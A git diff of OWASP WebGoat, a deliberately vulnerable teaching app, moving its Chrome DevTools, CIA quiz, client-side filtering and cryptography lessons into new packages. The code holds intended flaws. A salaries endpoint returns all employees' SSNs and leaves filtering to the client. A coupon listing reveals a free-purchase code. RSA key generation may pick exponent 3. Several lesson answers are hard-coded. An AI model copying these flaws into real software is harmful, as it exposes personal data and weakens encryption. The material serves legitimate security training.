org.owasp.webgoat.lessons.challenges.challenge8; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author nbaars + * @since 3/21/17. + */ +@Component +public class Challenge8 extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public String getTitle() { + return "challenge8.title"; + } +} diff --git a/webgoat-lessons/chrome-dev-tools/src/main/java/org/owasp/webgoat/chrome_dev_tools/ChromeDevTools.java b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/ChromeDevTools.java similarity index 77% rename from webgoat-lessons/chrome-dev-tools/src/main/java/org/owasp/webgoat/chrome_dev_tools/ChromeDevTools.java rename to src/main/java/org/owasp/webgoat/lessons/chromedevtools/ChromeDevTools.java index 29c8dd9a9..587761fc4 100644 --- a/webgoat-lessons/chrome-dev-tools/src/main/java/org/owasp/webgoat/chrome_dev_tools/ChromeDevTools.java +++ b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/ChromeDevTools.java @@ -20,10 +20,10 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.chrome_dev_tools; +package org.owasp.webgoat.lessons.chromedevtools; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** @@ -33,13 +33,13 @@ import org.springframework.stereotype.Component; @Component public class ChromeDevTools extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.GENERAL; - } + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } - @Override - public String getTitle() { - return "3.chrome-dev-tools.title";//3rd lesson in General - } + @Override + public String getTitle() { + return "3.chrome-dev-tools.title"; // 3rd lesson in General + } } diff --git a/webgoat-lessons/chrome-dev-tools/src/main/java/org/owasp/webgoat/chrome_dev_tools/NetworkDummy.java b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkDummy.java similarity index 67% rename from webgoat-lessons/chrome-dev-tools/src/main/java/org/owasp/webgoat/chrome_dev_tools/NetworkDummy.java rename to src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkDummy.java index b09328532..97677e9a9 100644 --- a/webgoat-lessons/chrome-dev-tools/src/main/java/org/owasp/webgoat/chrome_dev_tools/NetworkDummy.java +++ b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkDummy.java @@ -20,11 +20,11 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.chrome_dev_tools; +package org.owasp.webgoat.lessons.chromedevtools; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AttackResult; -import org.owasp.webgoat.session.UserSessionData; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @@ -39,16 +39,16 @@ import org.springframework.web.bind.annotation.RestController; @RestController public class NetworkDummy extends AssignmentEndpoint { - @PostMapping("/ChromeDevTools/dummy") - @ResponseBody - public AttackResult completed(@RequestParam String successMessage) { - UserSessionData userSessionData = getUserSessionData(); - String answer = (String) userSessionData.getValue("randValue"); + @PostMapping("/ChromeDevTools/dummy") + @ResponseBody + public AttackResult completed(@RequestParam String successMessage) { + UserSessionData userSessionData = getUserSessionData(); + String answer = (String) userSessionData.getValue("randValue"); - if (successMessage != null && successMessage.equals(answer)) { - return success(this).feedback("xss-dom-message-success").build(); - } else { - return failed(this).feedback("xss-dom-message-failure").build(); - } + if (successMessage != null && successMessage.equals(answer)) { + return success(this).feedback("xss-dom-message-success").build(); + } else { + return failed(this).feedback("xss-dom-message-failure").build(); } -} \ No newline at end of file + } +} diff --git a/webgoat-lessons/chrome-dev-tools/src/main/java/org/owasp/webgoat/chrome_dev_tools/NetworkLesson.java b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkLesson.java similarity index 63% rename from webgoat-lessons/chrome-dev-tools/src/main/java/org/owasp/webgoat/chrome_dev_tools/NetworkLesson.java rename to src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkLesson.java index 14123ce80..7441ab4a5 100644 --- a/webgoat-lessons/chrome-dev-tools/src/main/java/org/owasp/webgoat/chrome_dev_tools/NetworkLesson.java +++ b/src/main/java/org/owasp/webgoat/lessons/chromedevtools/NetworkLesson.java @@ -20,11 +20,11 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.chrome_dev_tools; +package org.owasp.webgoat.lessons.chromedevtools; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; @@ -32,8 +32,8 @@ import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** - * Assignment where the user has to look through an HTTP Request - * using the Developer Tools and find a specific number. + * Assignment where the user has to look through an HTTP Request using the Developer Tools and find + * a specific number. * * @author TMelzer * @since 30.11.18 @@ -42,19 +42,21 @@ import org.springframework.web.bind.annotation.RestController; @AssignmentHints({"networkHint1", "networkHint2"}) public class NetworkLesson extends AssignmentEndpoint { - @PostMapping(value = "/ChromeDevTools/network", params = {"network_num", "number"}) - @ResponseBody - public AttackResult completed(@RequestParam String network_num, @RequestParam String number) { - if (network_num.equals(number)) { - return success(this).feedback("network.success").output("").build(); - } else { - return failed(this).feedback("network.failed").build(); - } + @PostMapping( + value = "/ChromeDevTools/network", + params = {"network_num", "number"}) + @ResponseBody + public AttackResult completed(@RequestParam String network_num, @RequestParam String number) { + if (network_num.equals(number)) { + return success(this).feedback("network.success").output("").build(); + } else { + return failed(this).feedback("network.failed").build(); } + } - @PostMapping(path = "/ChromeDevTools/network", params = "networkNum") - @ResponseBody - public ResponseEntity ok(@RequestParam String networkNum) { - return ResponseEntity.ok().build(); - } + @PostMapping(path = "/ChromeDevTools/network", params = "networkNum") + @ResponseBody + public ResponseEntity ok(@RequestParam String networkNum) { + return ResponseEntity.ok().build(); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/cia/CIA.java b/src/main/java/org/owasp/webgoat/lessons/cia/CIA.java new file mode 100644 index 000000000..1754360b0 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cia/CIA.java @@ -0,0 +1,23 @@ +package org.owasp.webgoat.lessons.cia; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * @author BenediktStuhrmann + * @since 11/2/18. + */ +@Component +public class CIA extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.GENERAL; + } + + @Override + public String getTitle() { + return "4.cia.title"; // 4th lesson in general + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cia/CIAQuiz.java b/src/main/java/org/owasp/webgoat/lessons/cia/CIAQuiz.java new file mode 100644 index 000000000..fa01b43e5 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cia/CIAQuiz.java @@ -0,0 +1,53 @@ +package org.owasp.webgoat.lessons.cia; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class CIAQuiz extends AssignmentEndpoint { + + String[] solutions = {"Solution 3", "Solution 1", "Solution 4", "Solution 2"}; + boolean[] guesses = new boolean[solutions.length]; + + @PostMapping("/cia/quiz") + @ResponseBody + public AttackResult completed( + @RequestParam String[] question_0_solution, + @RequestParam String[] question_1_solution, + @RequestParam String[] question_2_solution, + @RequestParam String[] question_3_solution) { + int correctAnswers = 0; + + String[] givenAnswers = { + question_0_solution[0], question_1_solution[0], question_2_solution[0], question_3_solution[0] + }; + + for (int i = 0; i < solutions.length; i++) { + if (givenAnswers[i].contains(solutions[i])) { + // answer correct + correctAnswers++; + guesses[i] = true; + } else { + // answer incorrect + guesses[i] = false; + } + } + + if (correctAnswers == solutions.length) { + return success(this).build(); + } else { + return failed(this).build(); + } + } + + @GetMapping("/cia/quiz") + @ResponseBody + public boolean[] getResults() { + return this.guesses; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFiltering.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFiltering.java new file mode 100644 index 000000000..31c0867be --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFiltering.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat.lessons.clientsidefiltering; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; + * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + *

You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + *

Getting Source ============== + * + *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository + * for free software projects. + * + *

+ * + * @author WebGoat + * @version $Id: $Id + * @since October 12, 2016 + */ +@Component +public class ClientSideFiltering extends Lesson { + + @Override + public Category getDefaultCategory() { + return Category.CLIENT_SIDE; + } + + @Override + public String getTitle() { + return "client.side.filtering.title"; + } +} diff --git a/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/ClientSideFilteringAssignment.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringAssignment.java similarity index 67% rename from webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/ClientSideFilteringAssignment.java rename to src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringAssignment.java index 8ed518e42..fbe11da93 100644 --- a/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/ClientSideFilteringAssignment.java +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringAssignment.java @@ -20,25 +20,30 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.client_side_filtering; +package org.owasp.webgoat.lessons.clientsidefiltering; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController -@AssignmentHints({"ClientSideFilteringHint1", "ClientSideFilteringHint2", "ClientSideFilteringHint3", "ClientSideFilteringHint4"}) +@AssignmentHints({ + "ClientSideFilteringHint1", + "ClientSideFilteringHint2", + "ClientSideFilteringHint3", + "ClientSideFilteringHint4" +}) public class ClientSideFilteringAssignment extends AssignmentEndpoint { - @PostMapping("/clientSideFiltering/attack1") - @ResponseBody - public AttackResult completed(@RequestParam String answer) { - return "450000".equals(answer) - ? success(this).feedback("assignment.solved").build() : - failed(this).feedback("ClientSideFiltering.incorrect").build(); - } + @PostMapping("/clientSideFiltering/attack1") + @ResponseBody + public AttackResult completed(@RequestParam String answer) { + return "450000".equals(answer) + ? success(this).feedback("assignment.solved").build() + : failed(this).feedback("ClientSideFiltering.incorrect").build(); + } } diff --git a/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/ClientSideFilteringFreeAssignment.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringFreeAssignment.java similarity index 67% rename from webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/ClientSideFilteringFreeAssignment.java rename to src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringFreeAssignment.java index d1ce40ab2..9db150279 100644 --- a/webgoat-lessons/client-side-filtering/src/main/java/org/owasp/webgoat/client_side_filtering/ClientSideFilteringFreeAssignment.java +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ClientSideFilteringFreeAssignment.java @@ -20,11 +20,11 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.client_side_filtering; +package org.owasp.webgoat.lessons.clientsidefiltering; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AssignmentHints; -import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @@ -35,17 +35,21 @@ import org.springframework.web.bind.annotation.RestController; * @since 4/6/17. */ @RestController -@AssignmentHints({"client.side.filtering.free.hint1", "client.side.filtering.free.hint2", "client.side.filtering.free.hint3"}) +@AssignmentHints({ + "client.side.filtering.free.hint1", + "client.side.filtering.free.hint2", + "client.side.filtering.free.hint3" +}) public class ClientSideFilteringFreeAssignment extends AssignmentEndpoint { - public static final String SUPER_COUPON_CODE = "get_it_for_free"; + public static final String SUPER_COUPON_CODE = "get_it_for_free"; - @PostMapping("/clientSideFiltering/getItForFree") - @ResponseBody - public AttackResult completed(@RequestParam String checkoutCode) { - if (SUPER_COUPON_CODE.equals(checkoutCode)) { - return success(this).build(); - } - return failed(this).build(); + @PostMapping("/clientSideFiltering/getItForFree") + @ResponseBody + public AttackResult completed(@RequestParam String checkoutCode) { + if (SUPER_COUPON_CODE.equals(checkoutCode)) { + return success(this).build(); } + return failed(this).build(); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java new file mode 100644 index 000000000..bd4de62fc --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/Salaries.java @@ -0,0 +1,112 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.clientsidefiltering; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.annotation.PostConstruct; +import javax.xml.xpath.XPath; +import javax.xml.xpath.XPathConstants; +import javax.xml.xpath.XPathExpressionException; +import javax.xml.xpath.XPathFactory; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.ClassPathResource; +import org.springframework.util.FileCopyUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; +import org.w3c.dom.Node; +import org.w3c.dom.NodeList; +import org.xml.sax.InputSource; + +@RestController +@Slf4j +public class Salaries { + + @Value("${webgoat.user.directory}") + private String webGoatHomeDirectory; + + @PostConstruct + public void copyFiles() { + ClassPathResource classPathResource = new ClassPathResource("lessons/employees.xml"); + File targetDirectory = new File(webGoatHomeDirectory, "/ClientSideFiltering"); + if (!targetDirectory.exists()) { + targetDirectory.mkdir(); + } + try { + FileCopyUtils.copy( + classPathResource.getInputStream(), + new FileOutputStream(new File(targetDirectory, "employees.xml"))); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + @GetMapping("clientSideFiltering/salaries") + @ResponseBody + public List> invoke() { + NodeList nodes = null; + File d = new File(webGoatHomeDirectory, "ClientSideFiltering/employees.xml"); + XPathFactory factory = XPathFactory.newInstance(); + XPath path = factory.newXPath(); + int columns = 5; + List> json = new ArrayList<>(); + java.util.Map employeeJson = new HashMap<>(); + + try (InputStream is = new FileInputStream(d)) { + InputSource inputSource = new InputSource(is); + + StringBuilder sb = new StringBuilder(); + + sb.append("/Employees/Employee/UserID | "); + sb.append("/Employees/Employee/FirstName | "); + sb.append("/Employees/Employee/LastName | "); + sb.append("/Employees/Employee/SSN | "); + sb.append("/Employees/Employee/Salary "); + + String expression = sb.toString(); + nodes = (NodeList) path.evaluate(expression, inputSource, XPathConstants.NODESET); + for (int i = 0; i < nodes.getLength(); i++) { + if (i % columns == 0) { + employeeJson = new HashMap<>(); + json.add(employeeJson); + } + Node node = nodes.item(i); + employeeJson.put(node.getNodeName(), node.getTextContent()); + } + } catch (XPathExpressionException e) { + log.error("Unable to parse xml", e); + } catch (IOException e) { + log.error("Unable to read employees.xml at location: '{}'", d); + } + return json; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ShopEndpoint.java b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ShopEndpoint.java new file mode 100644 index 000000000..1a0f4fa92 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/clientsidefiltering/ShopEndpoint.java @@ -0,0 +1,86 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.clientsidefiltering; + +import com.google.common.collect.Lists; +import java.util.List; +import java.util.Optional; +import lombok.AllArgsConstructor; +import lombok.Getter; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 4/6/17. + */ +@RestController +@RequestMapping("/clientSideFiltering/challenge-store") +public class ShopEndpoint { + + @AllArgsConstructor + private class CheckoutCodes { + + @Getter private List codes; + + public Optional get(String code) { + return codes.stream().filter(c -> c.getCode().equals(code)).findFirst(); + } + } + + @AllArgsConstructor + @Getter + private class CheckoutCode { + private String code; + private int discount; + } + + private CheckoutCodes checkoutCodes; + + public ShopEndpoint() { + List codes = Lists.newArrayList(); + codes.add(new CheckoutCode("webgoat", 25)); + codes.add(new CheckoutCode("owasp", 25)); + codes.add(new CheckoutCode("owasp-webgoat", 50)); + this.checkoutCodes = new CheckoutCodes(codes); + } + + @GetMapping(value = "/coupons/{code}", produces = MediaType.APPLICATION_JSON_VALUE) + public CheckoutCode getDiscountCode(@PathVariable String code) { + if (ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE.equals(code)) { + return new CheckoutCode(ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE, 100); + } + return checkoutCodes.get(code).orElse(new CheckoutCode("no", 0)); + } + + @GetMapping(value = "/coupons", produces = MediaType.APPLICATION_JSON_VALUE) + public CheckoutCodes all() { + List all = Lists.newArrayList(); + all.addAll(this.checkoutCodes.getCodes()); + all.add(new CheckoutCode(ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE, 100)); + return new CheckoutCodes(all); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/cryptography/CryptoUtil.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/CryptoUtil.java new file mode 100644 index 000000000..6e13e57e3 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/CryptoUtil.java @@ -0,0 +1,143 @@ +package org.owasp.webgoat.lessons.cryptography; + +import java.math.BigInteger; +import java.nio.charset.Charset; +import java.security.InvalidAlgorithmParameterException; +import java.security.KeyFactory; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.NoSuchAlgorithmException; +import java.security.PrivateKey; +import java.security.PublicKey; +import java.security.SecureRandom; +import java.security.Signature; +import java.security.interfaces.RSAPublicKey; +import java.security.spec.InvalidKeySpecException; +import java.security.spec.PKCS8EncodedKeySpec; +import java.security.spec.RSAKeyGenParameterSpec; +import java.util.Base64; +import javax.xml.bind.DatatypeConverter; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +public class CryptoUtil { + + private static final BigInteger[] FERMAT_PRIMES = { + BigInteger.valueOf(3), + BigInteger.valueOf(5), + BigInteger.valueOf(17), + BigInteger.valueOf(257), + BigInteger.valueOf(65537) + }; + + public static KeyPair generateKeyPair() + throws NoSuchAlgorithmException, InvalidAlgorithmParameterException { + KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA"); + RSAKeyGenParameterSpec kpgSpec = + new RSAKeyGenParameterSpec( + 2048, FERMAT_PRIMES[new SecureRandom().nextInt(FERMAT_PRIMES.length)]); + keyPairGenerator.initialize(kpgSpec); + // keyPairGenerator.initialize(2048); + return keyPairGenerator.generateKeyPair(); + } + + public static String getPrivateKeyInPEM(KeyPair keyPair) { + String encodedString = "-----BEGIN PRIVATE KEY-----\n"; + encodedString = + encodedString + + new String( + Base64.getEncoder().encode(keyPair.getPrivate().getEncoded()), + Charset.forName("UTF-8")) + + "\n"; + encodedString = encodedString + "-----END PRIVATE KEY-----\n"; + return encodedString; + } + + public static String signMessage(String message, PrivateKey privateKey) { + + log.debug("start signMessage"); + String signature = null; + + try { + // Initiate signature verification + Signature instance = Signature.getInstance("SHA256withRSA"); + instance.initSign(privateKey); + instance.update(message.getBytes("UTF-8")); + + // actual verification against signature + signature = new String(Base64.getEncoder().encode(instance.sign()), Charset.forName("UTF-8")); + + log.info("signe the signature with result: {}", signature); + } catch (Exception e) { + log.error("Signature signing failed", e); + } + + log.debug("end signMessage"); + return signature; + } + + public static boolean verifyMessage( + String message, String base64EncSignature, PublicKey publicKey) { + + log.debug("start verifyMessage"); + boolean result = false; + + try { + + base64EncSignature = base64EncSignature.replace("\r", "").replace("\n", "").replace(" ", ""); + // get raw signature from base64 encrypted string in header + byte[] decodedSignature = Base64.getDecoder().decode(base64EncSignature); + + // Initiate signature verification + Signature instance = Signature.getInstance("SHA256withRSA"); + instance.initVerify(publicKey); + instance.update(message.getBytes("UTF-8")); + + // actual verification against signature + result = instance.verify(decodedSignature); + + log.info("Verified the signature with result: {}", result); + } catch (Exception e) { + log.error("Signature verification failed", e); + } + + log.debug("end verifyMessage"); + return result; + } + + public static boolean verifyAssignment(String modulus, String signature, PublicKey publicKey) { + + /* first check if the signature is correct, i.e. right private key and right hash */ + boolean result = false; + + if (modulus != null && signature != null) { + result = verifyMessage(modulus, signature, publicKey); + + /* + * next check if the submitted modulus is the correct modulus of the public key + */ + RSAPublicKey rsaPubKey = (RSAPublicKey) publicKey; + if (modulus.length() == 512) { + modulus = "00".concat(modulus); + } + result = + result + && (DatatypeConverter.printHexBinary(rsaPubKey.getModulus().toByteArray()) + .equals(modulus.toUpperCase())); + } + return result; + } + + public static PrivateKey getPrivateKeyFromPEM(String privateKeyPem) + throws NoSuchAlgorithmException, InvalidKeySpecException { + privateKeyPem = privateKeyPem.replace("-----BEGIN PRIVATE KEY-----", ""); + privateKeyPem = privateKeyPem.replace("-----END PRIVATE KEY-----", ""); + privateKeyPem = privateKeyPem.replace("\n", "").replace("\r", ""); + + byte[] decoded = Base64.getDecoder().decode(privateKeyPem); + + PKCS8EncodedKeySpec spec = new PKCS8EncodedKeySpec(decoded); + KeyFactory kf = KeyFactory.getInstance("RSA"); + return kf.generatePrivate(spec); + } +} diff --git a/webgoat-lessons/crypto/src/main/java/org/owasp/webgoat/crypto/Crypto.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/Cryptography.java similarity index 74% rename from webgoat-lessons/crypto/src/main/java/org/owasp/webgoat/crypto/Crypto.java rename to src/main/java/org/owasp/webgoat/lessons/cryptography/Cryptography.java index 30f4a2e35..5e00a3f5e 100644 --- a/webgoat-lessons/crypto/src/main/java/org/owasp/webgoat/crypto/Crypto.java +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/Cryptography.java @@ -20,22 +20,21 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.crypto; +package org.owasp.webgoat.lessons.cryptography; -import org.owasp.webgoat.lessons.Category; -import org.owasp.webgoat.lessons.Lesson; +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component -public class Crypto extends Lesson { - @Override - public Category getDefaultCategory() { - return Category.GENERAL; - } - - @Override - public String getTitle() { - return "6.crypto.title";//first lesson in general - } +public class Cryptography extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A2; + } + @Override + public String getTitle() { + return "6.crypto.title"; // first lesson in general + } } diff --git a/webgoat-lessons/crypto/src/main/java/org/owasp/webgoat/crypto/EncodingAssignment.java b/src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java similarity index 50% rename from webgoat-lessons/crypto/src/main/java/org/owasp/webgoat/crypto/EncodingAssignment.java rename to src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java index 867a61299..65c115c41 100644 --- a/webgoat-lessons/crypto/src/main/java/org/owasp/webgoat/crypto/EncodingAssignment.java +++ b/src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java @@ -20,10 +20,13 @@ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ -package org.owasp.webgoat.crypto; +package org.owasp.webgoat.lessons.cryptography; -import org.owasp.webgoat.assignments.AssignmentEndpoint; -import org.owasp.webgoat.assignments.AttackResult; +import java.util.Base64; +import java.util.Random; +import javax.servlet.http.HttpServletRequest; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; @@ -31,43 +34,42 @@ import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; -import javax.servlet.http.HttpServletRequest; -import java.util.Base64; -import java.util.Random; - @RestController public class EncodingAssignment extends AssignmentEndpoint { - public static String getBasicAuth(String username, String password) { - return Base64.getEncoder().encodeToString(username.concat(":").concat(password).getBytes()); + public static String getBasicAuth(String username, String password) { + return Base64.getEncoder().encodeToString(username.concat(":").concat(password).getBytes()); + } + + @GetMapping(path = "/crypto/encoding/basic", produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String getBasicAuth(HttpServletRequest request) { + + String basicAuth = (String) request.getSession().getAttribute("basicAuth"); + String username = request.getUserPrincipal().getName(); + if (basicAuth == null) { + String password = + HashingAssignment.SECRETS[new Random().nextInt(HashingAssignment.SECRETS.length)]; + basicAuth = getBasicAuth(username, password); + request.getSession().setAttribute("basicAuth", basicAuth); } - - @GetMapping(path="/crypto/encoding/basic",produces=MediaType.TEXT_HTML_VALUE) - @ResponseBody - public String getBasicAuth(HttpServletRequest request) { - - String basicAuth = (String) request.getSession().getAttribute("basicAuth"); - String username = request.getUserPrincipal().getName(); - if (basicAuth == null) { - String password = HashingAssignment.SECRETS[new Random().nextInt(HashingAssignment.SECRETS.length)]; - basicAuth = getBasicAuth(username, password); - request.getSession().setAttribute("basicAuth", basicAuth); - } - return "Authorization: Basic ".concat(basicAuth); - } - - @PostMapping("/crypto/encoding/basic-auth") - @ResponseBody - public AttackResult completed(HttpServletRequest request, @RequestParam String answer_user, @RequestParam String answer_pwd) { - String basicAuth = (String) request.getSession().getAttribute("basicAuth"); - if (basicAuth !=null && answer_user!=null && answer_pwd 